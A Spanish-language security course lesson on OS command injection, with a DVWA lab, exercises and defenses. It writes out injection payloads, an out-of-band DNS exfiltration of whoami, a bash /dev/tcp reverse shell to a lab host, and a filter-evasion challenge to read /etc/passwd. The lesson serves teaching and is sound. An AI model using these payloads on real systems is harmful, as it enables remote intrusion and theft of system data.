

Clase 095 — Inyección de comandos del sistema operativo

Parte: 4 — Seguridad de aplicaciones web · Fuente: *The Web Application Hacker's Handbook (Stuttard & Pinto)* 🕒 Duración estimada: 100 min · Nivel: Avanzado

Objetivo

Explotar la **inyección de comandos del SO (OS command injection)**: cuando una aplicación pasa entrada del usuario a un shell del sistema, un atacante puede ejecutar comandos arbitrarios. Es una de las vulnerabilidades de mayor impacto porque suele derivar en ejecución remota de código (RCE).

⚠️ **Ética:** RCE es de máximo impacto. Practica **exclusivamente** en DVWA, PortSwigger labs o entornos con autorización escrita. Ejecutar comandos en sistemas ajenos es un delito grave.

Resultados de aprendizaje

Al finalizar, el alumno podrá:

- 1. **Identificar** puntos donde el input llega a un comando del sistema.
- 2. **Encadenar** comandos con metacaracteres del shell (; , | , && , \$()).
- 3. **Explotar** command injection ciega con técnicas temporales y OOB.
- 4. **Estabilizar** una shell reversa en un laboratorio controlado.
- 5. **Recomendar** evitar shells y usar APIs seguras como defensa.

Temas

#	Tema	Por qué importa
1	Cómo el input llega al shell	Causa raíz del fallo
2	Metacaracteres de encadenado	Herramienta básica de explotación
3	Command injection ciega	Sin salida visible
4	Detección temporal y OOB	Confirmar sin ver output
5	Reverse shell en lab	Demostrar impacto real
6	Diferencias Linux/Windows	Sintaxis del shell varía
7	Defensa: evitar system(), allowlists	Cierre del fallo

Definiciones y características

- **OS command injection:** ejecución de comandos del sistema vía input no sanitizado. Característica: suele acabar en RCE.
- **Metacaracter de shell:** símbolo que combina comandos (`;` , `&&` , `|` , ``` , `$( )`). Característica: rompe el comando previsto.
- **Blind command injection:** no hay output; se infiere por tiempo o interacción externa. Característica: se confirma con `sleep` o `nslookup` .
- **Reverse shell:** la víctima conecta de vuelta al atacante. Característica: da control interactivo en el lab.
- **Argument injection:** se inyectan flags a un binario, no comandos nuevos. Característica: más sutil pero explotable.
- **Allowlist:** lista cerrada de valores permitidos. Característica: defensa robusta frente a blocklists.

Herramientas y preparación

- **DVWA** (*Command Injection*) y **PortSwigger labs** de OS command injection.
- **Burp** para editar peticiones.
- **netcat** para escuchar la reverse shell en tu propia máquina de laboratorio.

```
# En tu máquina atacante (lab): escuchar
nc -lvnp 4444
```

Laboratorio guiado

 Solo en DVWA/labs propios y aislados.

1. En DVWA → *Command Injection*, envía una IP normal (`127.0.0.1`) y observa el `ping` .
2. Encadena un comando: `127.0.0.1; whoami` y verifica que se ejecuta.
3. Prueba otros separadores: `| id` , `&& uname -a` , `$(id)` .
4. Para command injection **ciega** (sin output), confirma con tiempo: `127.0.0.1; sleep 5` .
5. Alternativa OOB: `127.0.0.1; nslookup $(whoami).tu-collaborator` y observa la interacción DNS.
6. En un lab aislado, lanza una reverse shell hacia tu netcat:

```
127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'
```

7. Documenta cada payload, la evidencia y el nivel de acceso obtenido.

Ejercicios

1. Enumera 5 metacaracteres distintos y en qué se diferencian al encadenar.
2. Confirma una inyección ciega solo con retardo temporal.
3. Adapta un payload de Linux a su equivalente en Windows (`&` , `%COMPUSE%`).
4. Explica la diferencia entre command injection y argument injection.
5. Escribe la versión segura en Python usando `subprocess` con lista de argumentos (sin `shell=True`).
6. Diseña una allowlist para un campo que solo debe aceptar una IP.

Reto verificable

Consigue **ejecución de comandos** en DVWA nivel Medium (que filtra algunos caracteres) evadiendo el filtro, y demuestra el acceso listando `/etc/passwd`. **Criterio de aceptación:** entregas el payload que evade el filtro, la evidencia de lectura de `/etc/passwd` y la corrección de código que eliminaría la vulnerabilidad.

Errores comunes

Síntoma / mensaje	Causa y cómo arreglar
El separador se filtra	Nivel Medium bloquea <code>;</code> <code>/</code> <code>&&</code> ; prueba <code>\ </code> o encoding
No hay salida	Inyección ciega; usa tiempo u OOB
Reverse shell no conecta	Firewall/NAT del lab; revisa IP y puerto
Comando no existe en Windows	Sintaxis distinta; usa comandos nativos
Falso positivo por latencia	Repite la prueba de <code>sleep</code> varias veces

Preguntas frecuentes

 **¿Por qué es tan grave?** Porque ejecutar comandos suele equivaler a controlar el servidor (RCE), el peor escenario posible.

 **¿`shell=True` es el problema?** A menudo sí. Pasar input a un shell es la causa. Usa APIs que reciban argumentos como lista, sin intérprete de shell.

 **¿Escapar caracteres basta?** Es frágil. Mejor evitar el shell por completo y validar con allowlists estrictas.

Referencias

- Stuttard & Pinto, *The Web Application Hacker's Handbook*, cap. 9 (OS command injection).
- OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection
- PortSwigger OS command injection: <https://portswigger.net/web-security/os-command-injection>

Siguiente clase

Clase 096 - Cross-Site Scripting (XSS) reflejado